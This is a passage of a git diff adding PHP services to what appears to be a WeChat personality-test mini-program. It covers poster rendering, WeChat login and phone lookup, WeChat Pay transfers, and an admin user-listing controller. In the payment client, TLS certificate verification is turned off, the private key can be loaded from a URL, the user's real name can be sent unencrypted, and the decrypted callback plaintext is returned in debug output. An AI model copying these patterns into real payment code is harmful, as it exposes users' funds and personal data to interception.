+ $qrImg = @imagecreatefromstring($qrBinary);
+ if ($qrImg) {
+ $qrSize = 88;
+ $qrX = $cx - (int)($qrSize / 2);
+ imagecopyresampled($img, $qrImg, $qrX, $qrY + 6, 0, 0, $qrSize, $qrSize, imagesx($qrImg), imagesy($qrImg));
+ imagedestroy($qrImg);
+ }
+ self::drawText($img, $cx - 80, $qrY + 100, '扫码解锁完整报告', $lightGray, 10);
+ $inviteCode = 'MBTI-' . ($user['id'] ?? '888');
+ self::drawText($img, $cx - 60, $qrY + 125, '邀请码 ' . $inviteCode, $primary, 11);
+
+ ob_start();
+ imagepng($img);
+ $png = ob_get_clean();
+ imagedestroy($img);
+ return $png ?: '';
+ }
+
+ private static function drawGradient($img, $x, $y, $w, $h, array $from, array $to): void
+ {
+ for ($i = 0; $i < $h; $i++) {
+ $r = (int)($from[0] + ($to[0] - $from[0]) * $i / $h);
+ $g = (int)($from[1] + ($to[1] - $from[1]) * $i / $h);
+ $b = (int)($from[2] + ($to[2] - $from[2]) * $i / $h);
+ $c = imagecolorallocate($img, max(0, min(255, $r)), max(0, min(255, $g)), max(0, min(255, $b)));
+ imagefilledrectangle($img, $x, $y + $i, $x + $w - 1, $y + $i, $c);
+ }
+ }
+
+ private static function drawRoundedRect($img, $x, $y, $w, $h, $r, $color): void
+ {
+ imagefilledrectangle($img, $x + $r, $y, $x + $w - $r - 1, $y + $h - 1, $color);
+ imagefilledrectangle($img, $x, $y + $r, $x + $w - 1, $y + $h - $r - 1, $color);
+ imagefilledellipse($img, $x + $r, $y + $r, $r * 2, $r * 2, $color);
+ imagefilledellipse($img, $x + $w - $r - 1, $y + $r, $r * 2, $r * 2, $color);
+ imagefilledellipse($img, $x + $r, $y + $h - $r - 1, $r * 2, $r * 2, $color);
+ imagefilledellipse($img, $x + $w - $r - 1, $y + $h - $r - 1, $r * 2, $r * 2, $color);
+ }
+
+ private static function drawStatCard($img, $x, $y, $w, $h, string $val, string $label, int $color): void
+ {
+ $white = imagecolorallocate($img, 255, 255, 255);
+ self::drawRoundedRect($img, $x, $y, $w, $h, 15, $white);
+ $gray = imagecolorallocate($img, 148, 163, 184);
+ $lw = imagefontwidth(5) * strlen($val);
+ imagestring($img, 5, $x + ($w - $lw) / 2, $y + 20, $val, $color);
+ $lw2 = imagefontwidth(4) * strlen($label);
+ imagestring($img, 4, $x + ($w - $lw2) / 2, $y + 45, $label, $gray);
+ }
+
+ /**
+ * 下载远程图片为二进制
+ */
+ public static function fetchImage(string $url): ?string
+ {
+ $url = str_replace('http://', 'https://', $url);
+ $ctx = stream_context_create(['http' => ['timeout' => 10]]);
+ $bin = @file_get_contents($url, false, $ctx);
+ return $bin !== false ? $bin : null;
+ }
+}
diff --git a/api/app/common/service/WechatService.php b/api/app/common/service/WechatService.php
new file mode 100644
index 0000000..23b3435
--- /dev/null
+++ b/api/app/common/service/WechatService.php
@@ -0,0 +1,194 @@
+ $now + 300) {
+ return ['access_token' => self::$cachedAccessToken];
+ }
+ $appId = config('wechat.app_id');
+ $appSecret = config('wechat.app_secret');
+ if (empty($appId) || empty($appSecret)) {
+ return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret'];
+ }
+ $url = self::$tokenUrl . '?' . http_build_query([
+ 'grant_type' => 'client_credential',
+ 'appid' => $appId,
+ 'secret' => $appSecret,
+ ]);
+ $resp = @file_get_contents($url);
+ if ($resp === false) {
+ return ['errcode' => -2, 'errmsg' => '请求微信接口失败'];
+ }
+ $data = json_decode($resp, true);
+ if (empty($data) || !is_array($data)) {
+ return ['errcode' => -3, 'errmsg' => '微信接口返回异常'];
+ }
+ if (isset($data['errcode']) && $data['errcode'] !== 0) {
+ return [
+ 'errcode' => (int) $data['errcode'],
+ 'errmsg' => $data['errmsg'] ?? 'unknown',
+ ];
+ }
+ $token = $data['access_token'] ?? '';
+ $expiresIn = (int) ($data['expires_in'] ?? 7200);
+ self::$cachedAccessToken = $token;
+ self::$cachedAccessTokenExpire = $now + $expiresIn;
+ return ['access_token' => $token];
+ }
+
+ /**
+ * 用 getPhoneNumber 回调里的 code 换取手机号
+ * @param string $code 小程序 button open-type="getPhoneNumber" 回调中的 detail.code
+ * @return array{phoneNumber:string,purePhoneNumber:string,countryCode:string}|array{errcode:int,errmsg:string}
+ */
+ public static function getPhoneNumber(string $code): array
+ {
+ $tokenResult = self::getAccessToken();
+ if (isset($tokenResult['errcode'])) {
+ return $tokenResult;
+ }
+ $accessToken = $tokenResult['access_token'];
+ $url = self::$getPhoneNumberUrl . '?access_token=' . urlencode($accessToken);
+ $ctx = stream_context_create([
+ 'http' => [
+ 'method' => 'POST',
+ 'header' => 'Content-Type: application/json',
+ 'content' => json_encode(['code' => $code]),
+ ],
+ ]);
+ $resp = @file_get_contents($url, false, $ctx);
+ if ($resp === false) {
+ return ['errcode' => -2, 'errmsg' => '请求微信接口失败'];
+ }
+ $data = json_decode($resp, true);
+ if (empty($data) || !is_array($data)) {
+ return ['errcode' => -3, 'errmsg' => '微信接口返回异常'];
+ }
+ if (isset($data['errcode']) && $data['errcode'] !== 0) {
+ return [
+ 'errcode' => (int) $data['errcode'],
+ 'errmsg' => $data['errmsg'] ?? 'unknown',
+ ];
+ }
+ $phoneInfo = $data['phone_info'] ?? [];
+ $purePhoneNumber = $phoneInfo['purePhoneNumber'] ?? $phoneInfo['phoneNumber'] ?? '';
+ $phoneNumber = $phoneInfo['phoneNumber'] ?? $purePhoneNumber;
+ $countryCode = $phoneInfo['countryCode'] ?? '86';
+ return [
+ 'phoneNumber' => $phoneNumber,
+ 'purePhoneNumber' => $purePhoneNumber,
+ 'countryCode' => $countryCode,
+ ];
+ }
+
+ /**
+ * code 换取 openid、session_key(及 unionid)
+ * @param string $code 小程序 wx.login 返回的 code
+ * @return array{openid:string,session_key:string,unionid?:string}|array{errcode:int,errmsg:string}
+ */
+ public static function jscode2session(string $code): array
+ {
+ $appId = config('wechat.app_id');
+ $appSecret = config('wechat.app_secret');
+ if (empty($appId) || empty($appSecret)) {
+ return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret'];
+ }
+
+ $url = self::$jscode2sessionUrl . '?' . http_build_query([
+ 'appid' => $appId,
+ 'secret' => $appSecret,
+ 'js_code' => $code,
+ 'grant_type' => 'authorization_code',
+ ]);
+
+ $resp = @file_get_contents($url);
+ if ($resp === false) {
+ return ['errcode' => -2, 'errmsg' => '请求微信接口失败'];
+ }
+
+ $data = json_decode($resp, true);
+ if (empty($data) || !is_array($data)) {
+ return ['errcode' => -3, 'errmsg' => '微信接口返回异常'];
+ }
+
+ if (isset($data['errcode']) && $data['errcode'] !== 0) {
+ return [
+ 'errcode' => (int) $data['errcode'],
+ 'errmsg' => $data['errmsg'] ?? 'unknown',
+ ];
+ }
+
+ return [
+ 'openid' => $data['openid'] ?? '',
+ 'session_key' => $data['session_key'] ?? '',
+ 'unionid' => $data['unionid'] ?? null,
+ ];
+ }
+
+ /**
+ * 生成带参数的小程序码(永久有效),返回原始二进制或错误信息
+ * @param string $scene 最大 32 个可见字符,用于区分邀请人/渠道
+ * @param string $page 小程序页面路径,如 pages/index/index
+ * @param int $width 小程序码宽度,默认 430
+ * @return array{binary:string}|array{errcode:int,errmsg:string}
+ */
+ public static function getWxacodeUnlimited(string $scene, string $page, int $width = 430): array
+ {
+ $tokenResult = self::getAccessToken();
+ if (isset($tokenResult['errcode'])) {
+ return $tokenResult;
+ }
+ $accessToken = $tokenResult['access_token'];
+ $url = self::$getWxacodeUnlimitedUrl . '?access_token=' . urlencode($accessToken);
+ $payload = [
+ 'scene' => mb_substr($scene, 0, 32),
+ 'page' => $page,
+ 'width' => $width,
+ 'check_path' => false,
+ ];
+ $ctx = stream_context_create([
+ 'http' => [
+ 'method' => 'POST',
+ 'header' => 'Content-Type: application/json',
+ 'content' => json_encode($payload, JSON_UNESCAPED_UNICODE),
+ ],
+ ]);
+ $resp = @file_get_contents($url, false, $ctx);
+ if ($resp === false) {
+ return ['errcode' => -2, 'errmsg' => '请求微信接口失败'];
+ }
+ // 微信错误时返回 JSON,成功时返回图片二进制
+ $head = substr($resp, 0, 1);
+ if ($head === '{' || $head === '[') {
+ $data = json_decode($resp, true);
+ if (is_array($data) && isset($data['errcode']) && $data['errcode'] !== 0) {
+ return [
+ 'errcode' => (int) $data['errcode'],
+ 'errmsg' => $data['errmsg'] ?? 'unknown',
+ ];
+ }
+ }
+ return ['binary' => $resp];
+ }
+}
diff --git a/api/app/common/service/WechatTransferService.php b/api/app/common/service/WechatTransferService.php
new file mode 100644
index 0000000..a041d7f
--- /dev/null
+++ b/api/app/common/service/WechatTransferService.php
@@ -0,0 +1,495 @@
+mchId = env('MCH_ID', '');
+ $this->appId = env('WECHAT_APPID', '');
+ $this->apiV3Key = env('API_KEY', '');
+ $this->certSerialNo= env('CERT_SERIAL_NO', '');
+
+ if (!$this->mchId || !$this->appId || !$this->apiV3Key || !$this->certSerialNo) {
+ throw new Exception('微信转账配置不完整,请检查 .env 中的 MCH_ID / WECHAT_APPID / API_KEY / CERT_SERIAL_NO');
+ }
+
+ // 私钥:支持本地路径、URL 或直接内容
+ $privateKeyConf = env('PRIVATE_KEY', '');
+ if ($privateKeyConf) {
+ if (file_exists($privateKeyConf)) {
+ $this->privateKey = file_get_contents($privateKeyConf);
+ } elseif (filter_var($privateKeyConf, FILTER_VALIDATE_URL)) {
+ $this->privateKey = file_get_contents($privateKeyConf);
+ if ($this->privateKey === false) {
+ Log::error('无法从URL加载私钥', ['url' => $privateKeyConf]);
+ $this->privateKey = '';
+ }
+ } else {
+ $this->privateKey = $privateKeyConf;
+ }
+ }
+ if (empty($this->privateKey)) {
+ throw new Exception('商户私钥加载失败,请检查 PRIVATE_KEY 配置');
+ }
+
+ // 公钥(可选):用于后续回调验签,支持本地路径、URL 或直接内容
+ $publicKeyConf = env('WECHAT_PAY_PUB_KEY', '');
+ $this->publicKey = '';
+ if ($publicKeyConf) {
+ if (file_exists($publicKeyConf)) {
+ $this->publicKey = file_get_contents($publicKeyConf);
+ } elseif (filter_var($publicKeyConf, FILTER_VALIDATE_URL)) {
+ $this->publicKey = file_get_contents($publicKeyConf);
+ if ($this->publicKey === false) {
+ Log::error('无法从URL加载公钥', ['url' => $publicKeyConf]);
+ $this->publicKey = '';
+ }
+ } else {
+ $this->publicKey = $publicKeyConf;
+ }
+ }
+ }
+
+ /**
+ * 发起转账
+ * @param array $params 转账参数
+ * - out_bill_no: 商户单号(必填)
+ * - openid: 收款用户OpenID(必填)
+ * - transfer_amount: 转账金额,单位:分(必填)
+ * - transfer_remark: 转账备注(必填)
+ * - transfer_scene_id: 转账场景ID(必填,如:1000现金营销,1006企业报销)
+ * - user_name: 收款用户姓名(选填,>=2000元必填)
+ * - transfer_scene_report_infos: 转账场景报备信息(必填)
+ * - notify_url: 通知地址(选填)
+ * - user_recv_perception: 用户收款感知(选填)
+ * @return array
+ */
+ public function createTransfer($params)
+ {
+ $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills';
+
+ // 构建请求体
+ $body = [
+ 'appid' => $this->appId,
+ 'out_bill_no' => $params['out_bill_no'],
+ 'transfer_scene_id' => $params['transfer_scene_id'],
+ 'openid' => $params['openid'],
+ 'transfer_amount' => intval($params['transfer_amount']),
+ 'transfer_remark' => $params['transfer_remark'],
+ // 场景报备信息(必填):岗位类型 + 报酬说明
+ 'transfer_scene_report_infos' => $params['transfer_scene_report_infos'] ?? [],
+ ];
+
+ // 可选参数
+ if (isset($params['user_name']) && !empty($params['user_name'])) {
+ // 需要加密
+ $body['user_name'] = $this->encryptSensitiveData($params['user_name']);
+ }
+
+ if (isset($params['notify_url']) && !empty($params['notify_url'])) {
+ $body['notify_url'] = $params['notify_url'];
+ }
+
+ // user_recv_perception 暂不传,避免 INVALID_REQUEST:“暂不支持展示当前传入的用户收款感知”
+
+ $result = $this->request('POST', $url, $body);
+
+ return $result;
+ }
+
+ /**
+ * 查询转账单(通过商户单号)
+ * @param string $outBillNo 商户单号
+ * @return array
+ */
+ public function queryByOutBillNo($outBillNo)
+ {
+ $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/' . $outBillNo;
+ return $this->request('GET', $url);
+ }
+
+ /**
+ * 查询转账单(通过微信单号)
+ * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012716457
+ * @param string $transferBillNo 微信转账单号
+ * @return array
+ */
+ public function queryByTransferBillNo($transferBillNo)
+ {
+ $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/transfer-bill-no/' . $transferBillNo;
+ return $this->request('GET', $url);
+ }
+
+ /**
+ * 撤销转账
+ * @param string $transferBillNo 微信转账单号
+ * @return array
+ */
+ public function cancelTransfer($transferBillNo)
+ {
+ $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/' . $transferBillNo . '/cancel';
+ return $this->request('POST', $url);
+ }
+
+ /**
+ * 发送HTTP请求
+ * @param string $method 请求方法
+ * @param string $url 请求URL
+ * @param array $body 请求体(POST时使用)
+ * @return array
+ */
+ private function request($method, $url, $body = [])
+ {
+ $timestamp = time();
+ $nonce = $this->generateNonce();
+ $bodyStr = !empty($body) ? json_encode($body, JSON_UNESCAPED_UNICODE) : '';
+
+ // 构建签名
+ $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $bodyStr);
+
+ // 构建请求头
+ $headers = [
+ 'Content-Type: application/json',
+ 'Accept: application/json',
+ 'User-Agent: WechatPay-APIv3-PHP',
+ 'Authorization: ' . $this->buildAuthorization($method, $url, $timestamp, $nonce, $bodyStr),
+ ];
+
+ // 如果有证书序列号,添加到请求头
+ if (!empty($this->certSerialNo)) {
+ $headers[] = 'Wechatpay-Serial: ' . $this->certSerialNo;
+ }
+
+ // 发送请求
+ $ch = curl_init();
+ curl_setopt($ch, CURLOPT_URL, $url);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
+ curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
+ curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
+ curl_setopt($ch, CURLOPT_TIMEOUT, 30);
+
+ if ($method === 'POST') {
+ curl_setopt($ch, CURLOPT_POST, true);
+ curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr);
+ }
+
+ $response = curl_exec($ch);
+ $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
+ $error = curl_error($ch);
+ curl_close($ch);
+
+ if ($error) {
+ // 尝试写入日志,但不影响错误返回
+ try {
+ Log::error('微信支付请求失败: ' . $error);
+ } catch (\Exception $e) {
+ // 日志写入失败不影响错误返回
+ }
+ return ['success' => false, 'error' => ['code' => 'CURL_ERROR', 'message' => $error]];
+ }
+
+ $result = json_decode($response, true);
+
+ if ($httpCode === 200) {
+ return ['success' => true, 'data' => $result];
+ } else {
+ // 尝试写入日志,但不影响错误返回
+ try {
+ Log::error('微信支付API错误: HTTP ' . $httpCode . ', Response: ' . $response);
+ } catch (\Exception $e) {
+ // 日志写入失败不影响错误返回
+ }
+ return ['success' => false, 'http_code' => $httpCode, 'error' => $result];
+ }
+ }
+
+ /**
+ * 构建签名
+ * @param string $method 请求方法
+ * @param string $url 请求URL(不包含域名)
+ * @param int $timestamp 时间戳
+ * @param string $nonce 随机字符串
+ * @param string $body 请求体
+ * @return string
+ */
+ private function buildSignature($method, $url, $timestamp, $nonce, $body)
+ {
+ $urlParts = parse_url($url);
+ $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : '');
+
+ $message = $method . "\n" .
+ $urlPath . "\n" .
+ $timestamp . "\n" .
+ $nonce . "\n" .
+ $body . "\n";
+
+ openssl_sign($message, $signature, $this->privateKey, OPENSSL_ALGO_SHA256);
+ return base64_encode($signature);
+ }
+
+ /**
+ * 构建Authorization头
+ * @param string $method
+ * @param string $url
+ * @param int $timestamp
+ * @param string $nonce
+ * @param string $body
+ * @return string
+ */
+ private function buildAuthorization($method, $url, $timestamp, $nonce, $body)
+ {
+ $urlParts = parse_url($url);
+ $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : '');
+
+ $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $body);
+
+ // 获取证书序列号(从私钥中提取,这里简化处理,实际应该从证书中获取)
+ $serialNo = $this->certSerialNo ?: 'YOUR_CERT_SERIAL_NO';
+
+ return sprintf(
+ 'WECHATPAY2-SHA256-RSA2048 mchid="%s",nonce_str="%s",timestamp="%d",serial_no="%s",signature="%s"',
+ $this->mchId,
+ $nonce,
+ $timestamp,
+ $serialNo,
+ $signature
+ );
+ }
+
+ /**
+ * 加密敏感信息(使用微信支付公钥加密)
+ * @param string $data 待加密数据
+ * @return string base64编码的加密数据
+ */
+ private function encryptSensitiveData($data)
+ {
+ // 注意:这里需要使用微信支付平台证书公钥加密
+ // 简化实现,实际应该使用微信支付平台证书
+ if (empty($this->publicKey)) {
+ // 如果没有配置公钥,返回原数据(实际生产环境必须加密)
+ Log::warning('未配置微信支付公钥,敏感数据未加密');
+ return $data;
+ }
+
+ $encrypted = '';
+ if (openssl_public_encrypt($data, $encrypted, $this->publicKey, OPENSSL_PKCS1_OAEP_PADDING)) {
+ return base64_encode($encrypted);
+ }
+
+ Log::error('敏感数据加密失败');
+ return $data;
+ }
+
+ /**
+ * 生成随机字符串
+ * @param int $length 长度
+ * @return string
+ */
+ private function generateNonce($length = 32)
+ {
+ return bin2hex(random_bytes($length / 2));
+ }
+
+ /**
+ * 验证回调签名
+ * @param array $headers 请求头
+ * @param string $body 请求体
+ * @return bool
+ */
+ public function verifyCallback($headers, $body)
+ {
+ if (empty($this->publicKey)) {
+ // 不记录日志,避免日志错误
+ return false;
+ }
+
+ // 从请求头中提取签名信息(注意:HTTP头中的下划线会被转换为中划线)
+ $signature = $headers['Wechatpay-Signature'] ?? $headers['wechatpay-signature'] ?? '';
+ $timestamp = $headers['Wechatpay-Timestamp'] ?? $headers['wechatpay-timestamp'] ?? '';
+ $nonce = $headers['Wechatpay-Nonce'] ?? $headers['wechatpay-nonce'] ?? '';
+ $serial = $headers['Wechatpay-Serial'] ?? $headers['wechatpay-serial'] ?? '';
+
+ if (empty($signature) || empty($timestamp) || empty($nonce) || empty($serial)) {
+ // 不记录日志,避免日志错误
+ return false;
+ }
+
+ // 构建验证消息(按照微信支付文档格式)
+ $message = $timestamp . "\n" . $nonce . "\n" . $body . "\n";
+
+ // 验证签名
+ $signatureData = base64_decode($signature);
+ $result = openssl_verify($message, $signatureData, $this->publicKey, OPENSSL_ALGO_SHA256);
+
+ if ($result === 1) {
+ return true;
+ } else {
+ // 不记录日志,避免日志错误
+ return false;
+ }
+ }
+
+ /**
+ * 解密回调通知中的resource数据
+ * @param array $resource 回调通知中的resource对象
+ * @return array|null 解密后的数据,失败返回null
+ */
+ /**
+ * 解密回调报文(按照官方文档实现)
+ * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012071382
+ *
+ * @param array $resource 加密的资源对象
+ * @return array|null 解密后的数据
+ */
+ public function decryptCallbackResource($resource)
+ {
+ // 调试信息
+ $debug = [];
+ $debug['step'] = '1.检查输入参数';
+
+ // 1. 检查必要参数
+ if (empty($resource['ciphertext']) || empty($resource['nonce']) || !isset($resource['associated_data'])) {
+ $debug['error'] = '缺少必要参数';
+ $debug['has_ciphertext'] = !empty($resource['ciphertext']);
+ $debug['has_nonce'] = !empty($resource['nonce']);
+ $debug['has_associated_data'] = isset($resource['associated_data']);
+ return ['_debug' => $debug, 'result' => null];
+ }
+
+ // 2. 检查加密算法
+ $algorithm = $resource['algorithm'] ?? '';
+ $debug['step'] = '2.检查加密算法';
+ $debug['algorithm'] = $algorithm;
+
+ if ($algorithm !== 'AEAD_AES_256_GCM') {
+ $debug['error'] = '不支持的加密算法';
+ return ['_debug' => $debug, 'result' => null];
+ }
+
+ // 3. 检查APIv3密钥长度(必须是32字节)
+ $debug['step'] = '3.检查APIv3密钥';
+ $debug['api_v3_key_length'] = strlen($this->apiV3Key);
+
+ if (strlen($this->apiV3Key) !== 32) {
+ $debug['error'] = 'APIv3密钥长度必须为32字节';
+ return ['_debug' => $debug, 'result' => null];
+ }
+
+ // 4. 准备解密参数(按照官方文档)
+ $debug['step'] = '4.准备解密参数';
+
+ // Base64解码密文
+ $ciphertext = base64_decode($resource['ciphertext']);
+ $nonce = $resource['nonce'];
+ $associatedData = $resource['associated_data'];
+
+ $debug['ciphertext_base64_length'] = strlen($resource['ciphertext']);
+ $debug['ciphertext_decoded_length'] = strlen($ciphertext);
+ $debug['nonce'] = $nonce;
+ $debug['nonce_length'] = strlen($nonce);
+ $debug['associated_data'] = $associatedData;
+
+ // 5. 检查密文长度(必须大于认证标签长度16字节)
+ $AUTH_TAG_LENGTH = 16;
+ if (strlen($ciphertext) <= $AUTH_TAG_LENGTH) {
+ $debug['error'] = '密文长度不足,必须大于' . $AUTH_TAG_LENGTH . '字节';
+ return ['_debug' => $debug, 'result' => null];
+ }
+
+ // 6. 分离密文和认证标签(按照官方文档)
+ $debug['step'] = '6.分离密文和认证标签';
+
+ // 密文主体(去掉最后16字节)
+ $ctext = substr($ciphertext, 0, -$AUTH_TAG_LENGTH);
+ // 认证标签(最后16字节)
+ $authTag = substr($ciphertext, -$AUTH_TAG_LENGTH);
+
+ $debug['ctext_length'] = strlen($ctext);
+ $debug['authTag_length'] = strlen($authTag);
+
+ // 7. 使用OpenSSL解密(按照官方文档)
+ $debug['step'] = '7.OpenSSL解密';
+
+ // PHP >= 7.1 支持 AES-256-GCM
+ if (PHP_VERSION_ID < 70100) {
+ $debug['error'] = 'PHP版本必须 >= 7.1';
+ $debug['php_version'] = PHP_VERSION;
+ return ['_debug' => $debug, 'result' => null];
+ }
+
+ if (!in_array('aes-256-gcm', openssl_get_cipher_methods())) {
+ $debug['error'] = 'OpenSSL不支持aes-256-gcm算法';
+ return ['_debug' => $debug, 'result' => null];
+ }
+
+ // 执行解密(参数顺序按照官方文档)
+ $decrypted = openssl_decrypt(
+ $ctext, // 密文主体
+ 'aes-256-gcm', // 加密算法
+ $this->apiV3Key, // API v3密钥
+ OPENSSL_RAW_DATA, // 原始数据
+ $nonce, // 随机串
+ $authTag, // 认证标签
+ $associatedData // 附加数据
+ );
+
+ $debug['step'] = '8.检查解密结果';
+ $debug['decrypt_success'] = ($decrypted !== false);
+
+ if ($decrypted === false) {
+ $debug['error'] = 'openssl_decrypt解密失败';
+ $debug['openssl_error'] = openssl_error_string() ?: '无错误信息';
+ return ['_debug' => $debug, 'result' => null];
+ }
+
+ $debug['decrypted_length'] = strlen($decrypted);
+ $debug['decrypted_preview'] = substr($decrypted, 0, 200);
+
+ // 8. 解析JSON
+ $debug['step'] = '9.解析JSON';
+ $data = json_decode($decrypted, true);
+
+ if (json_last_error() !== JSON_ERROR_NONE) {
+ $debug['error'] = 'JSON解析失败';
+ $debug['json_error'] = json_last_error_msg();
+ $debug['decrypted_full'] = $decrypted;
+ return ['_debug' => $debug, 'result' => null];
+ }
+
+ $debug['success'] = true;
+ $debug['data_keys'] = array_keys($data);
+
+ return ['_debug' => $debug, 'result' => $data];
+ }
+}
diff --git a/api/app/controller/admin/AppUser.php b/api/app/controller/admin/AppUser.php
new file mode 100644
index 0000000..75f89d1
--- /dev/null
+++ b/api/app/controller/admin/AppUser.php
@@ -0,0 +1,358 @@
+request->user ?? null;
+ if (!$user) {
+ return error('未登录', 401);
+ }
+ if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ $page = (int) Request::param('page', 1);
+ $pageSize = (int) Request::param('pageSize', 20);
+ $pageSize = min(max($pageSize, 1), 100);
+ $keyword = trim(Request::param('keyword', ''));
+
+ $where = [];
+ if ($keyword !== '') {
+ $where[] = ['nickname|phone|city|province', 'like', '%' . $keyword . '%'];
+ }
+
+ // admin / enterprise_admin 均只能看本企业数据
+ $enterpriseId = $user['enterpriseId'] ?? null;
+ if (!$enterpriseId) {
+ // JWT 未含 enterpriseId 时回退查库(兼容旧 token)
+ $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find();
+ $enterpriseId = $adminRow['enterpriseId'] ?? null;
+ }
+
+ // 若有企业ID:先从 user_profile 中取出属于本企业的 userId 列表(以画像为主表)
+ $profileUserIds = [];
+ if ($enterpriseId) {
+ $profileUserIds = Db::name('user_profile')
+ ->where('enterpriseId', $enterpriseId)
+ ->column('userId');
+ $profileUserIds = $profileUserIds ? array_values(array_unique(array_filter($profileUserIds))) : [];
+ if (empty($profileUserIds)) {
+ return paginate_response([], 0, $page, $pageSize);
+ }
+ }
+
+ // 按 openid 去重:每个 openid 只保留 id 最大的一条;失败则不去重
+ try {
+ $dedupIds = Db::name('wechat_users')->field('openid, MAX(id) as mid')->group('openid')->column('mid');
+ $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : [];
+ } catch (\Throwable $e) {
+ $dedupIds = Db::name('wechat_users')->column('id');
+ $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : [];
+ }
+ if (empty($dedupIds)) {
+ return paginate_response([], 0, $page, $pageSize);
+ }
+
+ $baseQuery = Db::name('wechat_users')->where('id', 'in', $dedupIds);
+ // 若从画像表中筛出了当前企业的用户池,则仅保留这些 userId
+ if (!empty($profileUserIds)) {
+ $baseQuery->whereIn('id', $profileUserIds);
+ }
+ if ($where) {
+ $baseQuery->where($where);
+ }
+
+ $total = (int) $baseQuery->count();
+ $list = (clone $baseQuery)
+ ->field('id,nickname,openid,avatar,phone,gender,country,province,city,status,lastLoginAt,createdAt')
+ ->order('createdAt', 'desc')
+ ->page($page, $pageSize)
+ ->select()
+ ->toArray();
+
+ // 为每条用户附加测试统计(test_results.userId 对应 wechat_users.id)
+ $ids = array_column($list, 'id');
+ $testCounts = [];
+ $lastTestAt = [];
+ $testTypes = []; // 每个用户最新几条测试类型,用于展示 MBTI/PDP/DISC
+ $payStats = [];
+ $enterpriseName = null;
+ if ($enterpriseId) {
+ $ent = Db::name('enterprises')->where('id', $enterpriseId)->find();
+ $enterpriseName = $ent['name'] ?? ('企业' . $enterpriseId);
+ }
+ if (!empty($ids)) {
+ // 测试统计严格按 test_results.enterpriseId 归属企业过滤
+ $trBase = Db::name('test_results')->where('userId', 'in', $ids);
+ if ($enterpriseId) {
+ $trBase->where('enterpriseId', $enterpriseId);
+ }
+ $counts = (clone $trBase)
+ ->group('userId')
+ ->column('COUNT(*) as cnt', 'userId');
+ $testCounts = $counts ?: [];
+
+ $lastRows = (clone $trBase)
+ ->field('id, userId, testType, resultData, createdAt, enterpriseId as testEnterpriseId')
+ ->order('createdAt', 'desc')
+ ->select();
+ foreach ($lastRows as $row) {
+ $uid = $row['userId'];
+ if (!isset($lastTestAt[$uid])) {
+ $lastTestAt[$uid] = $row['createdAt'];
+ }
+ if (!isset($testTypes[$uid])) {
+ $testTypes[$uid] = [];
+ }
+ $testTypes[$uid][] = [
+ 'testType' => $row['testType'],
+ 'result' => is_string($row['resultData'] ?? '') ? ($row['resultData'] ?? '') : json_encode($row['resultData'] ?? '', JSON_UNESCAPED_UNICODE),
+ 'createdAt' => $row['createdAt'],
+ 'testScope' => !empty($row['testEnterpriseId']) ? 'enterprise' : 'personal',
+ ];
+ }
+ // 付款统计:user_profile(按当前企业过滤)
+ try {
+ $profilesQuery = Db::name('user_profile')
+ ->where('userId', 'in', $ids);
+ if ($enterpriseId) {
+ $profilesQuery->where('enterpriseId', $enterpriseId);
+ }
+ $profiles = $profilesQuery
+ ->field('userId, SUM(paidOrders) AS paidOrders, SUM(totalPaidAmount) AS totalPaidAmount')
+ ->group('userId')
+ ->select()
+ ->toArray();
+ foreach ($profiles as $p) {
+ $uid = (int) ($p['userId'] ?? 0);
+ if ($uid > 0) {
+ $payStats[$uid] = [
+ 'paidOrders' => (int) ($p['paidOrders'] ?? 0),
+ 'totalPaidAmount' => (int) ($p['totalPaidAmount'] ?? 0),
+ ];
+ }
+ }
+ } catch (\Throwable $e) {
+ $payStats = [];
+ }
+ }
+
+ foreach ($list as &$row) {
+ $id = $row['id'];
+ $testsForUser = $testTypes[$id] ?? [];
+ $row['username'] = $row['nickname'] ?? ('用户' . $id);
+ $row['testCount'] = (int) ($testCounts[$id] ?? 0);
+ $row['lastTestAt'] = $lastTestAt[$id] ?? null;
+ $row['tests'] = $testsForUser;
+ $row['mbtiType'] = $this->extractResultType($testsForUser, 'mbti');
+ $row['pdpType'] = $this->extractResultType($testsForUser, 'pdp');
+ $row['discType'] = $this->extractResultType($testsForUser, 'disc');
+ $row['faceType'] = $this->extractResultType($testsForUser, 'face');
+ $row['faceMbtiType'] = $this->extractFaceSubType($testsForUser, 'mbti');
+ $row['faceDiscType'] = $this->extractFaceSubType($testsForUser, 'disc');
+ $row['facePdpType'] = $this->extractFaceSubType($testsForUser, 'pdp');
+ $row['enterprise'] = $enterpriseName !== null ? $enterpriseName : '全部';
+ $pay = $payStats[$id] ?? null;
+ $row['paidOrders'] = $pay ? (int) ($pay['paidOrders'] ?? 0) : 0;
+ $row['totalPaidAmount'] = $pay ? (int) ($pay['totalPaidAmount'] ?? 0) : 0;
+ }
+
+ return paginate_response($list, $total, $page, $pageSize);
+ }
+
+ /**
+ * 测试用户详情:基本信息 + 测试记录列表
+ * GET /api/v1/admin/app-users/:id
+ */
+ public function detail($id)
+ {
+ $user = $this->request->user ?? null;
+ if (!$user) {
+ return error('未登录', 401);
+ }
+ if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
